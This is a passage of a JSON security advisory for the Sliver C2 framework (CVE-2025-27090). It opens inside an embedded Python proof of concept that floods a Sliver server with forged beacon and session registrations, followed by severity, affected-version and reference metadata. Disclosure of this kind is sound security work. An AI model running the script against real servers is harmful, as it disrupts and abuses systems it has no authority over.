sliver.Register()\n json_format.Parse(json.dumps(junk_register(50)),reg)\n envelope = sliver.Envelope()\n envelope.Type = msgs.index('Register')\n envelope.Data = reg.SerializeToString()\n send_envelope(envelope,ip,port)\n\ndef register_beacon(ip,port):\n print('[yellow]\\[i][/yellow] Sending beacon registration.')\n reg = sliver.BeaconRegister()\n reg.ID = str(uuid.uuid4())\n junk_sz = 50\n reg.Interval = random.randint(0,10*junk_sz)\n reg.Jitter = random.randint(0,10*junk_sz)\n reg.NextCheckin = random.randint(0,10*junk_sz)\n json_format.Parse(json.dumps(junk_register(junk_sz)),reg.Register)\n envelope = sliver.Envelope()\n envelope.Type = msgs.index('BeaconRegister')\n envelope.Data = reg.SerializeToString()\n send_envelope(envelope,ip,port)\n\ndescription = '''\nFlood a Sliver C2 server with beacons and sessions. Requires an mtls certificate.\n'''\n\nif __name__ == '__main__':\n register_session(sys.argv[1], int(sys.argv[2]))\n```",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/bishopfox/sliver"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "1.5.26"
}, {
"fixed" : "1.5.43"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 1.5.42"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/BishopFox/sliver/security/advisories/GHSA-fh4v-v779-4g2w"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-27090"
}, {
"type" : "WEB",
"url" : "https://github.com/BishopFox/sliver/commit/0f340a25cf3d496ed870dae7da39eab4427bc16f"
}, {
"type" : "WEB",
"url" : "https://github.com/BishopFox/sliver/commit/10e245326070c6a5884a02e0790bb7e2baefb3a1"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/BishopFox/sliver"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-918" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2025-02-19T21:11:33Z",
"nvd_published_at" : "2025-02-19T22:15:24Z"
}
}